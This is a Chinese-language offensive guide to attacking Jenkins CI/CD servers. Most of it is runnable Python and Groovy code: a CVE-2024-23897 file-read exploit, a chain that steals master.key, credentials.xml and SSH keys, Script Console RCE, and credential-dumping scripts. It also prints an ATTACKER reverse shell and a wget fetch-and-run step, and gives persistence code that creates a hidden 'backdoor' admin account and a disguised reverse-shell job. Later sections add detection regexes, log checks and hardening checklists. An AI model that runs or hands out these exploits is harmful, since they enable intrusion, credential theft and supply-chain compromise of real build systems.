Jenkins CI/CD 任意文件读取 Groovy RCE 供应链投毒 CVE漏洞链利用技术

nmap -sV -p 8080,443,50000 <target>

curl -skI http://<target>:8080/
# X-Jenkins: 2.442
# X-Instance-Identity: ...

curl -sk http://<target>:8080/login
# Jenkins 登录页面

curl -sk http://<target>:8080/cli
# Jenkins CLI 端点

curl -sk http://<target>:8080/jnlpJars/jenkins-cli.jar -o jenkins-cli.jar
# 下载 CLI 工具

8080   — Jenkins Web GUI (HTTP)
443    — Jenkins Web GUI (HTTPS, 反向代理)
50000  — JNLP Agent 通信端口

/login                                     — 登录页面
/cli                                       — CLI 端点 (CVE-2024-23897 入口)
/script                                    — Groovy Script Console (RCE)
/configure                                 — 系统配置
/credentials/                              — 凭据管理
/manage                                    — 管理面板
/pluginManager/                            — 插件管理
/env-vars/                                 — 环境变量
/api/json                                  — REST API
/computer/                                 — Agent 节点管理
/job/                                      — 任务列表
/view/                                     — 视图
/restart                                   — 重启 Jenkins
/jnlpJars/jenkins-cli.jar                  — CLI 工具下载
/jnlpJars/jenkins-war                      — WAR 包下载

import requests
import re

def detect_jenkins(host, port=8080):
    base_url = f"http://{host}:{port}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}

    print(f"[*] Scanning Jenkins at {base_url}")

    try:
        resp = requests.get(f"{base_url}/login", headers=headers, timeout=10, allow_redirects=False)
        print(f"[*] GET /login -> HTTP {resp.status_code}")

        jenkins_ver = resp.headers.get("X-Jenkins", "")
        if jenkins_ver:
            print(f"[+] Jenkins Version: {jenkins_ver}")
            parts = jenkins_ver.split(".")
            major = int(parts[0]) if len(parts) > 0 else 0
            minor = int(parts[1]) if len(parts) > 1 else 0
            if major == 2 and minor < 442:
                print("[!] Version < 2.442 — VULNERABLE to CVE-2024-23897")
            if major == 2 and minor < 471:
                print("[!] Version < 2.471 — VULNERABLE to CVE-2024-43044")

        identity = resp.headers.get("X-Instance-Identity", "")
        if identity:
            print(f"[+] Instance Identity present")
    except Exception:
        pass

    endpoints = ["/cli", "/script", "/api/json", "/credentials/"]
    for ep in endpoints:
        try:
            resp = requests.get(f"{base_url}{ep}", headers=headers, timeout=10, allow_redirects=False)
            status = resp.status_code
            marker = ""
            if status == 200:
                marker = " [ACCESSIBLE]"
            elif status == 403:
                marker = " [AUTH REQUIRED]"
            print(f"[+] {ep} -> HTTP {status}{marker}")
        except Exception:
            pass

    try:
        resp = requests.get(f"{base_url}/api/json", headers=headers, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            print(f"[+] Jenkins Mode: {data.get('mode', 'unknown')}")
            print(f"[+] Node Name: {data.get('nodeName', 'unknown')}")
            num_jobs = len(data.get("jobs", []))
            print(f"[+] Jobs Count: {num_jobs}")
    except Exception:
        pass

detect_jenkins("192.168.1.1")

import requests
import uuid
import sys
import struct

def exploit_cve_2024_23897(host, port=8080, file_path="/etc/passwd"):
    base_url = f"http://{host}:{port}"
    session_id = str(uuid.uuid4())

    print(f"[*] CVE-2024-23897 — Jenkins Arbitrary File Read")
    print(f"[*] Target: {base_url}")
    print(f"[*] File: {file_path}")

    cli_url = f"{base_url}/cli"

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Session": session_id,
        "Side": "download",
    }

    payload = f"@{file_path}"

    try:
        resp = requests.post(
            cli_url,
            headers=headers,
            data=payload.encode("utf-8"),
            timeout=15
        )
        print(f"[*] Response: HTTP {resp.status_code} ({len(resp.text)} bytes)")

        if "root:" in resp.text or "admin:" in resp.text:
            print(f"[+] File read successful!")
            print(resp.text[:500])
        elif "No such file" in resp.text:
            print(f"[-] File not found: {file_path}")
        elif len(resp.text) > 0:
            print(f"[*] Response content:")
            print(resp.text[:500])
        else:
            print(f"[-] Empty response")
    except Exception as e:
        print(f"[-] Error: {e}")

    print(f"\n[*] Attempting via jenkins-cli.jar method...")
    try:
        resp2 = requests.get(
            f"{base_url}/jnlpJars/jenkins-cli.jar",
            timeout=10
        )
        if resp2.status_code == 200:
            print(f"[+] jenkins-cli.jar downloadable ({len(resp2.content)} bytes)")
            print(f"[+] Use: java -jar jenkins-cli.jar -s {base_url}/ -http connect-server \"@{file_path}\"")
    except Exception:
        pass

exploit_cve_2024_23897("192.168.1.1", file_path="/etc/passwd")

import requests
import base64
import re

def exploit_jenkins_credential_chain(host, port=8080):
    base_url = f"http://{host}:{port}"

    print(f"[*] Jenkins Credential Theft Chain")
    print(f"[*] Target: {base_url}")

    target_files = [
        "/var/jenkins_home/secrets/master.key",
        "/var/jenkins_home/credentials.xml",
        "/var/jenkins_home/secrets/hudson.util.Secret",
        "/var/jenkins_home/.ssh/id_rsa",
        "/var/jenkins_home/config.xml",
        "/var/lib/jenkins/secrets/master.key",
        "/var/lib/jenkins/credentials.xml",
        "/root/.ssh/id_rsa",
        "/proc/self/environ",
    ]

    print("[*] Stage 1: Reading critical files via CVE-2024-23897...")
    for fpath in target_files:
        try:
            session_id = str(__import__("uuid").uuid4())
            resp = requests.post(
                f"{base_url}/cli",
                headers={
                    "Content-Type": "application/x-www-form-urlencoded",
                    "Session": session_id,
                    "Side": "download",
                },
                data=f"@{fpath}".encode("utf-8"),
                timeout=15
            )
            if len(resp.text) > 0 and "No such file" not in resp.text:
                print(f"[+] READ {fpath} ({len(resp.text)} bytes)")
                if "master.key" in fpath:
                    print(f"    Master key: {resp.text[:64].strip()}")
                elif "credentials.xml" in fpath:
                    encrypted = re.findall(r'<secret>([^<]+)</secret>', resp.text)
                    if encrypted:
                        print(f"    Found {len(encrypted)} encrypted credentials")
                elif "id_rsa" in fpath:
                    if "BEGIN" in resp.text:
                        print(f"    SSH private key extracted!")
            else:
                print(f"[-] NOT FOUND: {fpath}")
        except Exception:
            pass

    print("[*] Stage 2: Attempting credential decryption...")
    print("[*] If master.key + credentials.xml obtained:")
    print("[*]   1. Decode base64 encrypted values from credentials.xml")
    print("[*]   2. Use hudson.util.Secret decryption (AES-128-ECB)")
    print("[*]   3. Magic header: '::::MAGIC::::'")
    print("[*]   4. Decrypted values = plaintext passwords/API tokens")

    print("[*] Stage 3: Using stolen credentials for RCE...")
    print("[*]   POST /script with Groovy: \"whoami\".execute().text")
    print("[*]   Or create malicious Pipeline job")

exploit_jenkins_credential_chain("192.168.1.1")

import requests
import re

def exploit_groovy_rce(host, port=8080, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"

    print(f"[*] Jenkins Groovy Script Console RCE")
    print(f"[*] Target: {base_url}")

    session = requests.Session()

    print("[*] Stage 1: Authenticating...")
    try:
        resp = session.get(f"{base_url}/login", timeout=10)
        csrf_match = re.search(r'name="Jenkins-Crumb" value="([^"]+)"', resp.text)
        crumb = csrf_match.group(1) if csrf_match else ""

        resp = session.post(
            f"{base_url}/j_spring_security_check",
            data={"j_username": username, "j_password": password, "Submit": "Sign in"},
            headers={"Jenkins-Crumb": crumb},
            allow_redirects=False,
            timeout=10
        )
        if resp.status_code in [302, 200]:
            print(f"[+] Authentication successful")
    except Exception:
        pass

    print("[*] Stage 2: Executing Groovy code...")
    groovy_payloads = [
        ('"whoami".execute().text', "System identification"),
        ('"id".execute().text', "User context"),
        ('"hostname".execute().text', "Hostname"),
        ('"cat /etc/os-release".execute().text', "OS info"),
        ('System.getenv().collect{it.toString()}.join("\\n")', "Environment variables"),
    ]

    for payload, desc in groovy_payloads:
        try:
            resp = session.post(
                f"{base_url}/script",
                data={"script": payload, "Jenkins-Crumb": crumb},
                headers={"Jenkins-Crumb": crumb},
                timeout=15
            )
            result_match = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
            if result_match:
                result = result_match.group(1).strip()
                print(f"[+] {desc}: {result[:200]}")
            else:
                print(f"[-] {desc}: No result (auth required or error)")
        except Exception:
            pass

    print("[*] Stage 3: Advanced Groovy payloads...")
    print("[*] Reverse shell:")
    print('[*]   def cmd = "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')
    print('[*]   def proc = cmd.execute()')
    print("[*]")
    print("[*] Download & execute:")
    print('[*]   "wget http://ATTACKER/shell.sh -O /tmp/s.sh".execute()')
    print('[*]   "chmod +x /tmp/s.sh && /tmp/s.sh".execute()')
    print("[*]")
    print("[*] Read files:")
    print('[*]   new File("/etc/passwd").text')
    print("[*]")
    print("[*] List all credentials:")
    print('[*]   import com.cloudbees.plugins.credentials.*')
    print('[*]   CredentialsProvider.lookupCredentials(')
    print('[*]     com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class')
    print('[*]   ).each { println("${it.username}:${it.password}") }')

exploit_groovy_rce("192.168.1.1")

import socket
import struct

def probe_jenkins_agent(host, port=50000):
    print(f"[*] CVE-2024-43044 — Jenkins Agent Protocol Probe")
    print(f"[*] Target: {host}:{port}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((host, port))

        response = sock.recv(1024)
        print(f"[+] Agent port open — received {len(response)} bytes")
        print(f"[+] Response (hex): {response.hex()}")

        if len(response) > 0:
            print(f"[!] Agent accepted connection from unauthorized source")
            print(f"[!] VULNERABLE to CVE-2024-43044 (trust boundary)")
        sock.close()
    except socket.timeout:
        print(f"[-] Connection timeout — port may be filtered")
    except ConnectionRefusedError:
        print(f"[-] Connection refused — agent port not listening")
    except Exception as e:
        print(f"[-] Error: {e}")

    print(f"\n[*] Checking if agent traffic is encrypted...")
    try:
        import ssl
        context = ssl.create_default_context()
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        ssl_sock = context.wrap_socket(sock, server_hostname=host)
        ssl_sock.connect((host, port))
        print(f"[+] Agent port uses TLS — encrypted communication")
        ssl_sock.close()
    except ssl.SSLError:
        print(f"[!] Agent port does NOT use TLS — unencrypted remoting traffic!")
        print(f"[!] Vulnerable to MitM injection")
    except Exception:
        print(f"[*] TLS check inconclusive")

probe_jenkins_agent("192.168.1.1")

修改 Pipeline → 构建时注入后门 → 产物通过正常发布流程部署 → 生产环境被攻陷

import requests
import re

def detect_pipeline_poisoning(host, port=8080, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"

    print(f"[*] Jenkins Pipeline Supply Chain Poisoning Detection")
    print(f"[*] Target: {base_url}")

    session = requests.Session()
    session.auth = (username, password)

    print("[*] Stage 1: Enumerating jobs...")
    try:
        resp = session.get(f"{base_url}/api/json?tree=jobs[name,url,color]", timeout=10)
        if resp.status_code == 200:
            jobs = resp.json().get("jobs", [])
            print(f"[+] Found {len(jobs)} jobs")
            for job in jobs:
                print(f"    - {job['name']} ({job.get('color', 'unknown')})")
    except Exception:
        pass

    print("[*] Stage 2: Checking Pipeline configurations...")
    suspicious_patterns = [
        "curl.*-d.*@",
        "wget.*http",
        "base64.*-d",
        "nc.*-e",
        "/dev/tcp/",
        "bash.*-i",
        "python.*-c",
        "eval\\(",
        "exec\\(",
        "Runtime.getRuntime",
        "ProcessBuilder",
    ]

    try:
        resp = session.get(f"{base_url}/api/json?tree=jobs[name,url]", timeout=10)
        if resp.status_code == 200:
            jobs = resp.json().get("jobs", [])
            for job in jobs[:20]:
                job_name = job["name"]
                try:
                    config_resp = session.get(
                        f"{base_url}/job/{job_name}/config.xml",
                        timeout=10
                    )
                    if config_resp.status_code == 200:
                        config = config_resp.text
                        for pattern in suspicious_patterns:
                            if re.search(pattern, config):
                                print(f"[!] SUSPICIOUS: {job_name} matches pattern: {pattern}")
                except Exception:
                    pass
    except Exception:
        pass

    print("[*] Stage 3: Checking for recently modified pipelines...")
    print("[*]   Compare build artifact hashes against known-good baselines")
    print("[*]   Review Jenkinsfile changes in SCM for unauthorized modifications")
    print("[*]   Check for new 'sh' steps in Pipeline configurations")

detect_pipeline_poisoning("192.168.1.1")

import requests
import re

def extract_jenkins_credentials(host, port=8080, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"
    session = requests.Session()
    session.auth = (username, password)

    print(f"[*] Jenkins Credential Extraction")
    print(f"[*] Target: {base_url}")

    print("[*] Stage 1: Extracting environment variables...")
    try:
        resp = session.post(
            f"{base_url}/script",
            data={"script": 'System.getenv().collect{it.toString()}.join("\\n")'},
            timeout=15
        )
        result = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
        if result:
            env_vars = result.group(1).strip()
            print(f"[+] Environment variables:\n{env_vars[:500]}")
    except Exception:
        pass

    print("[*] Stage 2: Extracting stored credentials...")
    cred_script = """
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
import org.jenkinsci.plugins.plaincredentials.*

def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class
)
creds.each {
    println("User: ${it.username} | Pass: ${it.password}")
}

def sshCreds = CredentialsProvider.lookupCredentials(
    BasicSSHUserPrivateKey.class
)
sshCreds.each {
    println("SSH: ${it.username} | Key: ${it.privateKey?.take(100)}")
}

def secretCreds = CredentialsProvider.lookupCredentials(
    StringCredentials.class
)
secretCreds.each {
    println("Secret: ${it.secret}")
}
"""
    try:
        resp = session.post(
            f"{base_url}/script",
            data={"script": cred_script},
            timeout=15
        )
        result = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
        if result:
            print(f"[+] Credentials:\n{result.group(1).strip()[:500]}")
    except Exception:
        pass

    print("[*] Stage 3: Extracting cloud credentials...")
    cloud_script = """
def envVars = System.getenv()
['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AZURE_CLIENT_SECRET',
 'GOOGLE_APPLICATION_CREDENTIALS', 'DOCKER_PASSWORD', 'GITHUB_TOKEN',
 'NPM_TOKEN', 'PYPI_PASSWORD'].each { key ->
    if (envVars[key]) {
        println("${key} = ${envVars[key]}")
    }
}
"""
    try:
        resp = session.post(
            f"{base_url}/script",
            data={"script": cloud_script},
            timeout=15
        )
        result = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
        if result:
            cloud_creds = result.group(1).strip()
            if cloud_creds:
                print(f"[+] Cloud credentials found:\n{cloud_creds}")
    except Exception:
        pass

extract_jenkins_credentials("192.168.1.1")

# 使用窃取的 SSH 密钥访问构建 Agent
ssh -i extracted_id_rsa build-agent@10.0.0.50

# 使用窃取的 AWS 凭据访问云环境
export AWS_ACCESS_KEY_ID=STOLEN_KEY
export AWS_SECRET_ACCESS_KEY=STOLEN_SECRET
aws s3 ls
aws ec2 describe-instances

# 使用窃取的 Docker 凭据拉取/推送镜像
docker login -u admin -p STOLEN_PASSWORD registry.internal.com
docker pull registry.internal.com/production/app:latest

# 使用窃取的 K8s token 访问集群
kubectl --server=https://k8s.internal:6443 \
  --token=STOLEN_TOKEN get pods --all-namespaces

// Jenkins Script Console 持久化

// 1. 创建隐藏管理员账户
import jenkins.model.*
import hudson.security.*
def realm = Jenkins.instance.getSecurityRealm()
if (realm instanceof HudsonPrivateSecurityRealm) {
    realm.createAccount("backdoor", "P@ssw0rd123")
}

// 2. 创建定时反弹 Shell Pipeline
def job = Jenkins.instance.createProject(FreeStyleProject, "health-check")
job.buildersList.add(new hudson.tasks.Shell(
    "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
))
job.schedule.build(new hudson.model.CauseAction())

// 3. 安装恶意插件
// 上传包含后门代码的 .hpi 插件文件

CVE-2024-23897 (任意文件读取)
    ↓ @/var/jenkins_home/secrets/master.key
    ↓ @/var/jenkins_home/credentials.xml
提取 master.key + credentials.xml
    ↓ AES-128-ECB 解密 (::::MAGIC::::)
解密管理员凭据
    ↓ 登录 Jenkins 管理面板
Groovy Script Console RCE
    ↓ "whoami".execute().text
完全控制 Jenkins 服务器

CVE-2024-23897 (任意文件读取)
    ↓ @/var/jenkins_home/.ssh/id_rsa
提取 SSH 私钥
    ↓ 使用私钥连接构建 Agent
Agent 节点接管
    ↓ 窃取源代码、构建产物、部署凭据
供应链攻击
    ↓ 修改构建产物 / 注入后门

弱口令 / 默认凭据
    ↓ admin:admin 登录 Jenkins
修改 Pipeline 配置
    ↓ 在构建步骤中注入后门代码
正常构建流程
    ↓ 后门代码被编译到产物中
部署到生产环境
    ↓ 生产系统被攻陷

CVE-2024-43044 (Agent 协议信任)
    ↓ Controller 被攻破 / MitM / 伪造 Controller
向所有 Agent 发送恶意命令
    ↓ Remoting 协议无加密无签名
全集群 RCE
    ↓ 所有 Agent 节点执行攻击者代码
供应链全面沦陷
    ↓ 源代码 + 构建产物 + 部署流水线

# Jenkins 访问日志
grep "POST /cli" /var/log/jenkins/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# 检测 CVE-2024-23897 特征
grep -E "@(/etc/|/var/|/proc/|/root/)" /var/log/jenkins/access.log

# 检测 Script Console 使用
grep "POST /script" /var/log/jenkins/access.log | awk '{print $1, $4}' | sort

# 检测异常 Agent 连接
grep "Agent connected" $JENKINS_HOME/logs/all_jenkins.log | awk '{print $NF}' | sort | uniq -c

# 检测 Pipeline 异常修改
grep "config.xml" /var/log/jenkins/access.log | grep "POST" | head -20

# 检测凭据访问
grep "credentials" /var/log/jenkins/access.log | head -20

[ ] 确认 Jenkins 版本
    - 检查 X-Jenkins Header
    - 对比安全公告

[ ] 排查 CVE-2024-23897 (任意文件读取)
    - 检查 /cli 端点异常访问
    - 搜索 @/etc/passwd 等文件读取特征
    - 检查 master.key 和 credentials.xml 是否泄露
    - 如已泄露：立即轮换所有凭据

[ ] 排查 Groovy Script Console 滥用
    - 检查 /script 端点访问记录
    - 审查所有 Groovy 脚本执行历史
    - 检查是否有新建的恶意 Pipeline

[ ] 排查 Agent 协议安全
    - 检查端口 50000 的连接来源
    - 确认 Agent 通信是否使用 TLS
    - 检查是否有未授权的 Agent 连接

[ ] 排查供应链投毒
    - 对比构建产物哈希与已知安全基线
    - 审查 Jenkinsfile 最近修改
    - 检查 Pipeline 配置中的异常 sh/bat 步骤

[ ] 网络隔离与加固
    - 立即升级 Jenkins 到最新版本
    - 禁用 CLI 端点 (jenkins.CLI.disabled=true)
    - 限制 Script Console 访问
    - Agent 端口启用 TLS
    - 轮换所有存储的凭据

[ ] Jenkins 已升级到最新版本 (>= 2.471 / LTS >= 2.452.4)
[ ] CLI 端点已禁用或限制访问
[ ] Groovy Script Console 仅限必要管理员访问
[ ] Agent 通信已启用 TLS 加密
[ ] Agent 端口 (50000) 已限制为 Controller IP
[ ] 已禁用不安全的 Agent 协议
[ ] 管理员使用强密码 + MFA
[ ] 默认 admin 凭据已修改
[ ] 已启用 Jenkins 审计日志插件
[ ] 凭据存储已加密且定期轮换
[ ] Pipeline 配置变更已启用审批流程
[ ] 构建产物哈希已建立基线并定期校验
[ ] 已配置 SIEM 规则检测异常 CLI/Script/Pipeline 活动
[ ] Jenkins 服务器已网络隔离
[ ] Jenkins 不直接暴露于互联网
[ ] 已订阅 Jenkins 安全公告通知
[ ] 已建立 Jenkins 应急响应预案
[ ] 插件已定期更新并审查权限
[ ] Groovy 沙箱已启用（非管理员 Pipeline）
[ ] CSRF 保护已启用